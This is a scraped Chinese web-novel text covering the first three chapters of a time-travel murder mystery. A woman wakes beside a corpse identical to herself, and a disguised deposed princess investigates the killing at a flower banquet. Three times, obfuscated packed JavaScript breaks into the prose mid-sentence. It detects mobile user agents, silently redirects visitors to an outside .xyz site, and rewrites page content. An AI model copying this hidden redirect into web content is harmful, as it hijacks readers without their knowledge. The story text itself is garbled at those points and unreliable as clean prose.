《嫌疑人自救计划》 1. 失忆嫌疑人 姜越醒来的时候,在一间古色古香的屋子里。 手里凉凉的,握着一支玫瑰花。花瓣带着水气,看起来很美。 下一秒,她心脏狂跳,因为玫瑰花枝下是一具美女的尸体,花枝从姑娘额头,穿颅而过。 她慌忙松开手,绊了一脚,发出砰的一声。 “小姐,你怎么了?需要莺莺进来吗?”屋外响起丫头的惊呼。 寒毛顿时立了起来,巨大的危机感让她下意识说道:“不准进来!” 丫头没有再说话,屋外很吵闹,应该是这家府上正在宴客。 天呐,她怎么这么倒霉……为了救一个在马路上滑滑板的小孩,她被车撞死。 这就算了,像她这样做好事的人,为什么穿越到了古代?还穿越到了案发现场,而且,看起来她好像是杀人凶手?! 她直接去自首行不行?再死一次说不定还能回去。 不行不行,她的身体都被车撞烂了,肯定回去也是个死。 姜越,不能坐以待毙,你得想办法!她深吸了好几口气,勉强冷静下来。 她快速打量起四周。 周围没有打斗的痕迹,死者的表情也很安详,身体冰凉凉的,还有些松软,脸颊透出一丝粉色。 感觉皮肤不算完全僵硬,也没有尸斑,也许是刚死? 嗯……原主更可疑了好吗…… 不对,她想这么多干什么呢?怎么死的跟她有什么关系,她现在应该赶紧洗脱嫌疑才是。 那个丫头叫“小姐”,说“不准进来”的时候丫头并没有异常,说明她的声音跟她家小姐是差不多的。 难道她穿的确实是这家的小姐,有一个人杀掉了这个女子,再拖到了原主的闺房嫁祸于她? 她摸到自己袖口好像有东西,拿出来竟是一张人皮面具。 是一个普通男子的相貌。 姜越更崩溃了,谁家正经小姐袖口里放人皮面具啊!! “小姐,宴会要开始了,二姑奶奶催你过去呢。” 姜越没有回答她,她万一不是这个“小姐”,那这一出去见面不就露馅了吗? “小姐,二姑奶奶催得急,莺莺进来了?”嘎吱一声,门被推开了一个小缝。天光从缝隙里流淌进来,冲淡了屋子里的阴翳。 不是,古代丫头这么勇吗?不管主人还没发话就进来了? 完了。 姜越猛地将屏风拉上,至少第一时间,丫鬟看不到里屋的尸体。 不管了,死马当活马医。 她偏头看向身边的梳妆台,镜子里透露出来的人影让她差点吓得跳了起来──这,这,这不是死者的脸吗! 黄铜镜子反射的光并没有现在那么清晰,但是也足以让她看清原主的五官和脸型,她竟然和死者长得一样! 她脑子已经打结了。 发愣的时候,丫头来到她身边,不由分说拉着她的手往外走。姜越的余光扫向屏风后面——那个与原主长得一模一样的死者。 她慌忙关上门,和丫鬟一起步入前厅。 “小姐,百花宴快开始了,这次四姑奶奶可是把主持的事宜都交给您了。对了,门口有一位叫做景小姐的姑娘,说是您的朋友,看样子来头挺大呢,我们是否要去亲自迎接?” 救命啊,怎么还有朋友,她一个都不认识啊。 姜越欲哭无泪,她勉强挤出一个微笑:“好。” “对了,”姜越犹疑道:“我在屋里呆了多久?” 她想知道,原主有没有时间作案。 丫鬟咯咯咯地笑:“什么呀,小姐你都睡糊涂啦?你昨晚回来就睡下了,一直睡到刚刚被莺莺叫醒呢。” 姜越膝盖一软,被丫鬟扶住。 她艰难地继续问道:“那个,我中途没出去过?” 丫鬟义正言辞,认真道:“小姐不信莺莺?我在屋外檐下守了一夜呢!” “也没人进来过?” “没有。” 姜越强颜欢笑,完了完了,越听她越像凶手。 她一边打听信息,一边胆战心惊地和各路公子小姐问好,今天陈府是真够热闹的。 一路披荆斩棘,她终于跟着丫头莺莺来到陈府大门。 陈府门口站着一个女子,身材娇小,气质温雅,从发饰到衣着虽然低调但无一不精致贵气。 是废公主裴瑾。 她因为替谢家求情而受到父皇的废黜。她并非向着谢家,而是种种蛛丝马迹表明此事另有隐情。 奈何父皇在气头上不明是非,她也懒得争辩,说多了还会累及母后。 姜月的父亲姜鸣鹤,前段时日在蜀道战败,死于流寇马贼。 谢家当时攻城,粮草在蜀道附近被人劫走。 并且前往支援的军队,也在蜀郡附近失去了踪迹。 天下岂有如此巧合之事?其中必有蹊跷。此事因涉及到姜月的父亲,所以她委托姜月先提前调查。 她摸了摸袖带里的纸条。这是阿月不久前寄给她的信件,信上写道:“小景,此事我已有证据,速来。” 果然这件事情不简单。 心里思索着,阿月已经带着丫鬟来到了门口。 裴瑾含笑望向两人,却在看到姜越的一瞬间淡了笑容。 不对劲。 “景小姐里边请。”姜越说道,她脸色有些白。 裴瑾不动声色地握着她的手,轻轻从手腕滑到指尖。 姜越浑身都起了鸡皮疙瘩。不是姐们,你跟原主是什么关系啊?你们古人都是这么摸手打招呼的吗,是不是太暧昧了喂! 还是……她已经被怀疑了?这么快? 没办法她做贼心虚,杯弓蛇影。 而且她现在根本不知道这位景小姐是死者姜月的朋友,还是原主的朋友。 景小姐声音温温柔柔甜甜糯糯的,让人很容易卸下心房。她说:“姜小姐,这手是怎么保养的?一年比一年细嫩了。” 姜越本来看景小姐亲亲热热地捏着她说话,已经放下戒心,结果没想到开口就是这么一句,她瞬间又拉响了警铃。是她的手有什么不对吗?为什么要这样问? 她硬着头皮说:“哪有,景小姐的手才是光滑如绸。” 裴瑾闻言身体一顿,仔仔细细又隐晦地将姜越打量了一遍。 姜越此刻已经汗如雨下。 她强作镇定:“怎么了?” 景小姐换了面容,眯着眼微笑着说:“只是想念去年中秋,姜小姐送我的绣样,甚是好看。” 姜越感觉自己快被逼疯了。直觉告诉她这位景小姐不对劲、不一般,看起来和风细雨,但是好像每句话都在试探她。 她想到身边的丫鬟莺莺不认识这位景小姐。 那么会不会去年中秋她根本就没有送绣样呢?否则像这种大户人家的丫鬟,不可能不认识与主人互送绣品的朋友吧。 但以上都是她的猜测。到底该怎么回答啊!!? 算了,不管了,死马当活马医。姜越心一横说道:“景小姐怕是记错了,去年我并未送你绣样。” 裴瑾恍然大悟般轻轻点了点自己的额角:“是我记错了,瞧我这记性越来越不好了,姜小姐勿怪。” 果然是在试探她吧!啊?!姜越现在已经把这位景小姐拉入了危险人物的区间。 她带着景小姐入座,一路上百花会的男男女女都望向这位景小姐,带着新奇和陌生的眼神。 姜越觉得自己猜对了。刚刚她已经明里暗里向莺莺打听过,百花会到现场的男女,都是百花城中的官家小姐或是世家贵族,他们好像都不认识这位景小姐。 她带景小姐入座,扯了几句家常,想早点离开去处理尸体。 门外的动静吸引了她们的目光。 一位极为儒雅的公子从门外走了进来,还未就坐,周围已经围满了闺秀。好几位之前都对别的男子不假词色,现在纷纷捧着花走到那位公子面前。 公子俊美儒雅,风流倜傥,年纪看起来却不小,兴许有二十多三十岁。他身后跟着两个不苟言笑的护卫,紧紧地盯着自家主人。 裴瑾看着被女子围住的公子,耳中听着周围的议论。 “玉振公子今年还是没有婚配吧?” “玉振公子真的好帅呀,可惜好像不喜欢女子,都没见他和谁比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936863|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较亲近。” “那可是王家的长公子,以后就是王家的族长,这是何等权势滔天的身份?别说他尚未婚配,哪怕是他已经三妻四妾,也有不少女子前呼后拥。” “何止?玉振公子洁身自好,不与女子嬉笑言谈,这不你看,那几个男子也起了心思。” “世风日下,人心不古啊。” “渊渟公子怎么没来?” “前些日子出了那种事,渊渟公子不敢来了吧。” “呜呜呜,好可惜,我就是为了渊渟公子来的。” “谁不是呢?” …… 除了议论里没来的渊渟公子,受到如此热烈追捧的,便是王家的长公子王玉振了。据说已经快三十了还尚未婚配,平时也洁身自好,不拈花惹草,实为良配。 只见王玉振疏离而有礼地向各位淑女连连拱手:“在下无心男女之事,还望各位淑女见谅。” “那玉振公子是否喜欢男子?”一位长相清秀的公子鼓起勇气开口。 “这位兄台想多了,抱歉。”王玉振面露无奈,赶紧逃离包围圈。 那清秀的公子被好友们笑着拉回座位。 王玉振走到常聚的朋友之间,低声交谈了起来。两个护卫站得很近,王公子也没有呵斥,看得出来脾气很好了。 裴瑾收回了目光,看向姜越:“姜小姐可是对这位王公子有兴趣?” 姜越连连摆头。她能有什么兴趣?她现在的兴趣是回屋子里把尸体处理掉。 她随便扯了两句:“王公子是王家的嫡长公子,我一介孤女,如何配得上?况且王公子也无心男女之事。” 姜月的父亲姜鸣鹤在不久之前追击流寇马匪,因贪功冒进,被杀死,带的兵也全军覆没。于是姜月和她的娘——陈家二姑奶奶才回到了陈家。 裴瑾轻轻敲了下眉,直直地看向姜越,神神秘秘地说:“你不喜欢正好,这王公子有心爱之人。” “啊?什么?”姜越下意识惊呼,而后赶紧压低了声音。 裴瑾示意姜越看向王公子的领口和腰间的配饰。 “这王公子有喜欢的人。他衣襟的兰花并非王家绣纹,腰间也没有戴王家族徽,而是佩戴着一枚黄金盘缠流苏。王家惯爱附庸风雅,不爱带金,所以送盘缠的人对他来说很重要。” 姜越反驳:“这人难道不可以是男子吗?为什么一定是心爱之人?” 裴瑾似笑非笑地盯着她:“嗯,这兰花绣纹姜小姐应该很熟悉才对,所以我刚刚问你是不是心仪这位王公子。” 姜越一头雾水。她现在就很暴躁,紧张到极点之后她开始破罐破摔:“我为什么要很熟悉?” “这兰花绣纹去年姜小姐还与我分享过,你说这绣纹蜀郡会的不超过三人,而你正是其中之一。” 姜越整个人都僵硬了。她在想要不要把这位景小姐灭口算了。 她开始面无表情已读乱回,咬牙切齿地挤出几个字:“去年我们并未讨论过这个绣纹。” 景小姐嫣然一笑:“瞧我这记性,姜小姐勿怪。” 姜越快抓狂了,果然!果然!这个女人就是在试探她。她故作生气地说道:“有没有人说你这个人很讨厌?” 裴瑾听到这句话,转头看向她,贴着她的脸一寸一寸凝视:“有啊,说我刨根问底,故弄玄虚,非要打破砂锅问到底,这不是你说的吗?” 裴瑾说话间牢牢看着姜越的双眸,伸手拂过她的耳后。 鸡皮疙瘩蔓延了姜越一身,她惊怒瞬间把人推开:“你这是做什么?!” 裴瑾也不恼,若无其事地坐回座位,只是指了指自己的耳边说:“姜小姐发髻散了。” 姜越悄悄地平复狂乱的心跳。要冷静,现在的主要矛盾是处理尸体,不要被这位景小姐转移注意力。就算她怀疑什么,只要尸体不见了,她又长得和死者一模一样,别人怀疑她不对,又能怎样? 正巧凉亭那边起了争执。姜越刷地站起来,她想借机离开:“我去看看。” 没想到这位景小姐简直阴魂不散:“我也去看看。” 姜越无能狂怒,只能带着景小姐一同前往凉亭。 2. 阿月 半个时辰前。 蜀郡,百花城城门,悬案司司正李贵和司务李筠节,正在恭候废公主裴瑾。 李筠节是李贵的儿子,表情很不耐烦。“爹,你说说,这公主废就废了,来我们悬案司掺和什么,她会破案吗?” “慎言!公主可是正儿八经考上悬案司的。” “哼,您好歹是她上官,有必要这么迎接她吗?” 李贵微胖,眼角微微眯起,嘴唇总是含笑,看起来是个和蔼可亲的人。 他轻轻摇头:“京城来的大人物,咱都得候着,何况是公主呢?你可管好自己的嘴啊,别说些不着边的话。” “再厉害能有四大家族厉害?蜀郡可是赵家的地盘,天高皇帝远,还管得了我们?” 这话气得李贵给了他一个脑瓜崩。 “这个不孝子!四大家族是厉害,连陛下也束手束脚,但是这与你有什么关系?” 他低声道:“你可知为何九公主被废?” 李筠节:“不就是为了替谢明钧求情吗?要我说陛下还是太仁慈了,谢明钧战败,有通敌之嫌,士兵伤忙惨重,陛下还只是罚他去青竹书院教书,九公主也真是不知轻重,还要求情。” 李贵叹气,他为人圆滑,但看事还算通透,怎就生了个叉烧! 这个利害关系他得向叉烧言明,否则,一不小心,他俩都得牵连其中。 李贵好言好语道:“这只是其一。陛下恼怒谢将军,却没有重罚,而九公主为自己表哥求情,却被贬为庶人,你不觉得奇怪吗?” 李筠节:“嗯,是有些奇怪,那是为何?” “陛下恼怒的是,九公主向着谢家人呢!陛下与四大家族博弈多年,哪怕贵为公主,也因为为谢家求情被废,何况你我?切不可再说‘四大家族、蜀郡是赵家地盘’这种话了!” “知道了。” 李贵再接再励:“筠节,悬案司是直属于陛下的,别分不清自己的地位。” 李筠节翻了个白眼:“您昨天还给赵太守送了礼,别以为我不知道。” 李贵被他气了个倒仰:“少说多看,你迟早毁在这张嘴上。” 李筠节有些不服气,好歹没有出言反驳。 一辆金镶玉制的马车正从城门缓缓驶进。 车辕上坐着一男一女。男的着玄衣,女的着白衣。 男的腰配长剑,英武不凡,只是一张脸冷冷的,眉眼间有些皱纹,看起来是个不好相与的。 白衣女子腰配长刀,是丫鬟打扮,嘴角微微翘起,翘着二郎腿坐在车辕旁,似乎很是和气。但观其眼神锐利,气势惊人,也不是普通丫鬟。 李筠节被这俩气势一冲,之前的牢骚都灌回了肚子里,与父亲一起站在马车边行礼。 “臣,李贵。” “臣,李筠节。” “恭迎公主殿下。” 张煦跳下车来,心里松了一口气,蜀郡总算是到了。 公主看似温温柔柔,实则叛逆爱玩闹,他和身边这位寒木,被折腾得够呛。 心念一转,他掀开了车帘:“殿下,到了。” 车内空空如也,他甚至都没有惊讶一下,就知道这么安安静静、平平安安地到百花城是不可能的事。 他和随行的寒木倒是冷静,李贵和李筠节那可就不淡定了。 公主丢了可是大事儿。 “这,这,这可如何是好啊!”李贵急得冷汗直流。你说这公主丢了吧,也不在百花城外丢,这刚进城就丢,那不全是他的责任? 不行,这事儿得找赵太守一起办,锅不能他自己一个人背。 李贵急中生智:“两位……” 张煦:“裴十七。” 寒木:“寒木。” “裴大人、寒大人可有公主画像?方便我等寻人?” 张煦和寒木对视了一眼。寒木说道:“没有。” 李贵心中松了一口气,没有就好,没有就能把赵太守拖下水了。 “赵太守府上有一门客,名曰隐元居士,善画肖像。两位可随我去找隐元居士,待有了肖像,我与犬子也方便寻找公主下落。” “那我跟你去。”寒木说道。 李贵说:“寒大人,请随我来。” 李贵叫她大人,这位叫寒木的丫鬟没有反驳,李贵这一试探,让他顿时明白,这两位,肯定不是普通的随从,在长安估计也是有品级的。 赵太守的府邸就在百花城中,距离不远。两人步行前往,城中甚是热闹,街道两侧都摆满了鲜花,居民洋溢着快乐的笑容。 寒木问道:“近日,可是久负盛名的百花会?” 李贵笑着道:“寒姑娘真是博闻强识,连我们这边陲小城的活动也知之甚详。” 寒木说:“嘿嘿,略有耳闻。” 百花会是蜀郡百花城的特色集会,以百花宴为始,游船为终,期间还有各色活动。 主要是给年轻适龄男女创造相遇机会,以结两姓之好,今年的百花宴由陈府举办。 公主从马车里偷跑已经不是第一次。裴十七很淡定,先将马车和随行物品带去了预定好的小院,这才慢慢悠悠抱着剑在百花城寻人。 而李筠节早就偷偷溜走参加百花宴去了。 * 姜越和裴瑾来到凉亭附近,裴瑾站在一丛草木后,不动了。 姜越疑惑地看向她,裴瑾回了一个甜甜的笑:“暗处才能看到更多秘密。” 姜越:……你们古人真的好变/态。 她抬头向凉亭看去,只见里面坐着一位女子,白衣素簪,穿得很简约。 她表情严肃,眉尖微微皱起,看着对面抱花的年轻人,眼里隐含怒气。 “陈二小姐,我是真心实意与你结亲。我乃赵家赵恒,虽是赵家旁支但也有些底蕴。你嫁与我,实是一桩美谈,你陈家也不算吃亏。”看来送花的男子叫做赵恒,是四大家族赵家的旁支。 不过从这位陈二小姐的表情里可以看出,她对此男很是厌烦。 陈二小姐裴瑾认识。当年她送姜月回到姜府之时,见过这位陈二小姐,她是姜月母亲——陈家二姑奶奶的妹妹,也就是姜月的小姨——陈四姑奶奶陈灵。 “我之前已经说过,我无心嫁娶之事,赵公子还是另择良缘吧。”看样子,赵公子已经不止第一次对陈家四姑奶奶表白了。 裴瑾听得有趣,她转头对姜越说:“姜小姐,这番说辞倒是与王家公子一致呢。” 姜越是真的有些怕这位景小姐了,她没有搭话。 凉亭那边争执逐渐激烈了起来。看来陈家四姑奶奶对这位赵公子的拒绝,让他恼怒不已,原形毕露。 赵恒嚣张地说:“陈灵你个老女人,本公子看得上你是你的福分!你这个年纪也没人要了,你还敢如此拒绝我!” 此言一出,围观的众人纷纷惊呼。这赵公子也太过无礼。 有人小声谴责,被赵公子一瞪,便没了声。 谁让他是赵家人呢?百花城蜀郡是赵家的地盘,连王谢张三家在此也要暂避锋芒。 “啧啧啧,这位赵公子也太无礼了。”裴瑾转头对姜越说道,“姜小姐,今日这百花宴你是主人,还不去速速帮你小姨解围?” 裴瑾眨眨眼。 姜越欲哭无泪。好家伙,她还在看戏,她根本不知道这位被刁难的女子是她小姨呀!!! 她咋帮?这些人际关系她都没搞清楚,她这上去一不小心就得露馅。 幸好陈家三爷闻讯而来。 陈直:“赵公子,这姻缘讲究你情我愿。诚如您所言,小妹年纪略大,但也与您无关。您贵为赵家人氏,但也请谨言慎行。我陈家虽算不上世家,但在这百花城中也有几分薄面,莫要闹得太僵才好。” 裴瑾瞧着这个陈家三爷人还不错,没有因为赵家卖掉自己妹妹。 谁知这位叫赵恒的年轻人飞扬跋扈,完全不把陈家放在眼里:“谁不知你们陈家的后台姜鸣鹤已经倒了,连他的妻女如今也寄住在你陈府。不过是一个无权无势的无名小家族,也敢在我赵家面前放肆?今天你若是与我好好说和,那我们成就一对天赐良缘也就罢了。若是还推三阻四,就莫要怪我们赵家以势压人。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936864|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”陈三爷气得不行。陈家在百花城虽比不上赵家,那也是有头有脸的人物。谁知妹婿姜鸣鹤一倒台,连这个赵家的旁支也敢欺上门来,简直气煞人也。 赵恒站在凉亭里,得意洋洋,宛如斗胜的公鸡。 “这位赵公子。”温文尔雅的声音宛若清风徐来。是王玉振王公子,人群纷纷为他让开一条道。 “《礼记》有云:‘君子不失足于人,不失色于人,不失口于人。''赵公子今日失礼于陈小姐,失态于众人,失言于尊长,三失俱在,何谈世家风范?” 众人皆拍手叫好,并将王公子大大美言了一番。除了世家豪门,在场的还有一些小门贵人,早就看这位赵公子不惯,但不敢惹怒赵家。而王公子仗义执言,他们自然大声称赞支持。 王公子说完话,礼貌地看了陈灵一眼,便移开视线。陈灵也对这王公子微微颔首以示感谢。 两人看起来很是生疏。也是,按照辈分来算,王公子和姜越是一辈的,而陈灵却是王公子的长辈,当然也是这位赵恒的长辈。虽说陈灵在陈家排行最小,年纪也与赵公子王公子相近。 有王公子带头,其余人也就不再默默看戏,纷纷出言谴责赵恒。更将其与王公子对比——王公子是端方有节、君子风范,赵恒如过街老鼠被人骂得狗血喷头。他狠狠地瞪了四周一眼,恼怒离开。 眼见着闹剧散场,姜越心里越发着急。这尸体放在屋子里多一刻,被发现的风险也就多一分。她还在前院待客,尸体在房间里被发现,那她就完蛋了。 得趁人还没注意的时候,先把尸体藏起来。这样不管原主是不是姜家小姐,她都可以继续假扮下去。 她正准备离开,人群已散。王公子微微欠身对陈灵说道:“请淑女先行。” 很正常的一句话,却没想到陈灵盯着王玉振开始冷笑。姜越暗道不好,感觉又要出什么幺蛾子。 果然,只听她这位小姨对王玉振说:“王公子,一别三月十八日,我以为你死了呢。” 裴瑾眉毛轻挑,哟,有故事。 姜越尴尬在原地,这简直是走也不是,留也不是了。 王玉振说:“陈姨,男女有别,您是长辈,请自重。” 陈灵怒火中烧,深吸了好几次气才忍住。她从牙关里蹦出几个字,克制着说:“你,叫,我,什么?!陈姨?陈姨!哈哈哈哈,很好,你很好。” 王玉振站在旁边并不多言,只是请陈灵先行。 陈灵愤愤地瞪着王玉振,眼眶渐渐发红,王玉振别开目光,再次拱手请行。 陈灵深吸一口气,转头朝着相反的方向走去,正巧路过裴瑾和姜越偷听的小花丛。 姜越现在一个头两个大,偷听自己小姨墙角还被抓包。算了,虱子多了不愁,这和闺房里的尸体相比,根本不算什么。 果然陈灵发现了她们俩。陈灵停在两人身边,语气冷冽:“你们都看到了?那我得想想要不要杀人灭口了。” 裴瑾:…… 姜越:不是你们陈家的人都这么疯狂吗?法外狂徒是吧? 见俩小姑娘一人无语,一人一脸紧张,陈灵紧绷的脸缓和下来,噗嗤一笑:“开玩笑呢,陪我回屋吧,阿月,带路。” 姜越还能说什么呢?她只能好好带路了呀。这位景小姐已经开始怀疑她,她若是推三阻四更容易东窗事发。 只是小姨啊小姨,你房间在哪啊?她不知道。 莺莺这个丫头也不知道做什么去了。 姜越只能硬着头皮往前走。她觉得这位景小姐的目光一直在她身上。果不其然走了一会儿,景小姐便开口。 “阿月,这是要带陈小姨去哪儿?” 阿月?!姜越后背发麻,她终于知道为什么景小姐从一开始就在试探她了。 称呼不对! 景小姐一定不是称呼她为“姜小姐”。而景小姐叫她“姜小姐”的时候,她并没有表示不妥。此刻,景小姐却在陈小姨的面前,叫她“阿月”,显然她们有更亲密的称呼。 她僵在原地,不知道该说什么。 景小姐是要揭穿她了吗? 3. 信纸? 她僵硬地转过头看向那位景小姐。景小姐还是温温柔柔的,对着她浅浅一笑,那笑容令人如沐春风,却让她浑身冷得发抖。 “阿月可能是身体不舒服,刚刚和我聊的时候就心不在焉的,我送陈小姨回去吧。” 望着两人的背影,姜越心急如焚,她知道她肯定是暴露了。但是不知道这位景小姐葫芦里卖的什么药,为什么不当众揭穿她? 不过既然不揭穿她,她就还有时间去处理尸体。 她急急忙忙地往自己房间跑去,却在中途听到了丫鬟的尖叫声。 “小姐!小姐,死了!” 完了,姜月的尸体被发现了。 姜小姐死了,她要是还顶着这张脸,那不是白日见鬼,肯定会被人怀疑。姜越果断推开身边的门进去,这是一间下人房。 姜越你要冷静,一定还有办法的。 她两只手交握,突然碰到了袖口——对,还有办法!她袖带里还有一张人皮面具。她赶紧将人皮面具贴到脸上。 她沿着脸部轮廓,将面具贴好,最后一丝缝隙在耳后贴合时,她突然身子一僵。景小姐当时说她发髻散了,抚摸她的耳后,难道就是在找人皮面具的痕迹吗??! 啊啊啊,这女人心机太深了吧! 还好她跟死者长得一模一样,并没有戴人皮面具,否则就会被当场揭穿。 换句话说,她跟死者很可能是同胞姐妹。但是现场的人包括亲戚和这位景小姐好像都只知道一个姜月,并不知道另外一个人的身份,否则他们就一定会提起。 这是怎么回事呢? 算了,不想这么多。 下人房没有镜子,她对着墙角的水盆看了一下自己的脸,是张平平无奇的男子脸。又在衣柜里找了一件下人的粗布麻衣穿上。 还好原主的身体比较高大,扮起男子来,毫无问题,在穿上麻衣之后就是一个普普通通的下人,根本不会有人注意的那种。 她从下人房里出来,看到人群都涌向死者姜月的闺房。 她现在应该走的,应该先逃离陈府,等事情平息之后再做决定,到时候是离开这里,还是查清真相都可以。可是不知道为什么,冥冥之中她竟然随着人群也一同走向死者姜月的闺房。 也许她内心深处并不认为原主是杀害姜月的凶手。 是为了还自己的清白吗? 她不知道,但是身体先于她的思考已经到达了现场。 * 李贵此时正和寒木在隐元先生处画公主的画像。 隐元先生正画到紧要之处,这五官还未点上。 “报告!李司正,陈府发生了命案!陈家的表小姐,姜月死了!” 李贵眉头一皱:“你说什么?谁死了?具体什么情况?快细细说给我听。” “姜小姐,姜月,姜鸣鹤的女儿死了!不仅如此,此次百花宴正是姜月主持主办的,有人说前一刻她还在前院招待客人,一眨眼的功夫,人就死在了卧房里!” 李贵很吃惊:“你是说就一会儿的功夫,姜月就死了?她前一刻还在前厅招待客人?” “是的,没错。” 李贵猛地转头看向寒木:“寒小姐,我悬案司发生了命案,现在本官应当前往调查。公主画像即将完成,不如您留在此地等画像完成之后,本官再与你一同寻找如何?” “要的要的,李大人先去吧。”寒木虽急,也分得清轻重缓急,毕竟公主偷偷跑出去探案、吃东西也不是一次两次了。何况她身上带有奉密卫的口哨,若真遇了危险也会传唤她和裴十七。 * 姜越到达的时候正好看到景小姐也匆匆地从外赶来。应该是送完陈小姨之后听到声音就过来了。 这位景小姐一点也不避嫌,当众人只是远远地在门外看的时候,她直接就走到了尸体身边,开始仔细检查。 裴瑾看着姜月的尸体,内心涌起许多思绪,但很快就被理智压下,她开始查看。 她首先环视了一周房间,特别是窗户和脸盆等位置,没有发现什么异常。 姜月的身体凉凉的,袖口有些潮湿。 她看向那朵玫瑰花。玫瑰花枝并不锋利,却能穿透人体坚硬的头盖骨,似乎是江湖人士所为——落叶飞花皆可伤人,使用内劲才能够如此杀人。 这么想着,她仔细查看了花枝与额头间的伤口。 伤口处有细微的闪光小点,奇怪的痕迹。她轻轻摸了下,好像是什么粉末,她用手帕擦下,收入怀中。 玫瑰花枝有些软,血迹干枯在表面。 她心里已经有了成算。 她转头问向发现姜月尸体的丫鬟:“宴会开始前,你仔细跟我说一下姜小姐的行动轨迹与具体时间。” 丫鬟莺莺哭得上气不接下气,告诉裴瑾和屋外的人:“小姐昨日回屋后便在屋内一直未出,直到今日早晨招待众位宾客,小姐才从屋内出来。之后我们便招待了客人,接着就是与景小姐您一起入座,之后的事儿我便不知了。小姐之前交代我要为各位宾客分发花束,我便忙去了。” 裴瑾:…… 话刚问到这里,李筠节和赵倚歌赶到了。 李筠节看向裴瑾:“让开让开!你是何人?竟敢破坏凶案现场?” 他打量着裴瑾,得意一笑:“我未曾在百花城见过你。而听这丫鬟所说,你这位景小姐倒是最后一个与姜小姐接触之人。姜小姐死得不明不白,我等悬案司查案的,还没有来勘察现场,你倒先动手动脚起来,是不是在消灭犯案证据?我看你就是凶手!” 裴瑾无语。如此牵强附会的破案过程他也说得出来,实在是让她想撕开伪装怼他一顿。 青色官服瑜石腰带,九品官员,应是悬案司的司务李筠节。 “这位想必是悬案司的李筠节吧?我虽最后与姜小姐见面,但之后我便送陈小姨回了屋,之后丫鬟的叫声响起,我才匆匆赶来,这期间并没有作案时间。敢问您是如何断案的呢?” “好啊,你个外来人连我是谁都知道,摆明了是踩好点!连官府中人都查得清清楚楚,你一定是凶手!” 简直鸡同鸭讲! 裴瑾还没有见过如此无理取闹之人,这样的人竟然在悬案司当职?简直是有辱父皇圣恩。 她懒得与他纠缠,她将目光看向这位李筠节身旁之人——一个女子,穿着绿色官服,腰系银带。据她了解,这位应该是悬案司的评事赵倚歌。 “这位大人怎的一言不发?” 赵倚歌刚想说话,就被李筠节截断。 “你还说你不是凶手?你是最后一个见到姜月的人。见人死了,你不慌不忙查看尸体,现在冷静自若,我看你很有杀人犯的潜质!面对我们官员也如此巧言令色,有没有罪本官自会查清!来人,先把这个嫌疑犯给我关起来!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936865|177256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我若是凶手,为何杀死姜小姐又回到现场还假模假样地查看尸体,这不是引人怀疑?” “谁知道你是不是遗漏了什么?还有凶犯都喜欢重新回到案发现场!愣着干什么?把这人给我抓起来。” “等等。”赵倚歌叹了一口气。这位景小姐是姜月的好友,对案件如此上心,刚来蜀郡无人知晓其身份,恰逢悬案司迎接公主失踪,她的身份简直昭然若揭。 李筠节现在还要把人关起来,简直滑天下之大稽。 谁知李筠节根本不听赵倚歌的,直接命人将这位景小姐关了起来。不知道这位公主有什么打算,她并没有自曝身份。 总之赵倚歌已经准备好,带这位李司务去道歉了。 正巧此时李贵赶来。 李贵简单地查看了一下尸身,耳边李筠节添油加醋地将此事报告给李贵。李贵为难地挠了挠头:“如此就先请这位景姑娘暂入牢房一查。本官若是查明无辜,那自当还你一个公道。吾乃陛下亲设的悬案司司正,绝不会凭空污人清白,请相信本官。” 他看了一眼上头的李筠节,叹了口气,对剩下的人说:“目前在场的诸位都有嫌疑,暂时不能离开此地。” 众人当然抗议,然而发话的是李贵,赵倚歌也没有反对。 这赵倚歌不仅是悬案司的评事,更是赵家嫡女。无论如何,这个面子也得给赵家。 陈家人自然没有异议。 陈三爷一边安抚宾客,一边请悬案司找出凶手。 陈素,也就是姜月母亲,身体不好,已经哭晕过去;匆匆赶来的陈灵也是双目含泪,难以自持;陈家大爷和陈渊渟到现在都没有出现…… 裴瑾看着这两人一唱一和,没有说出自己的身份。 陈素知道她的身份,但是晕倒了,陈灵倒是想为她说几句好话,裴瑾冲她摇摇头。 她倒想看一看悬案司这两位是否真的能查清事实?阿月的死另有蹊跷,不知道他们能不能看出来?还是看出来了,装作不知? 正在人群围观的姜越发现景小姐被当成嫌疑人抓走,心中暗暗松了一口气。 正好这景小姐怀疑她,现在她成了嫌疑犯,那么她的口供和试探就会显得很苍白,就像是为了洗清自己的嫌疑而胡乱攀咬他人。官府应该不会相信她的一面之词。 然而她又觉得有些纠结,毕竟她知道景小姐是清白的,若是因此送了命,她良心难安。 正当此时,她发现死者姜月的衣襟漏出个角?好像是——一张信纸。 糟糕,不会是什么死亡遗言吧? 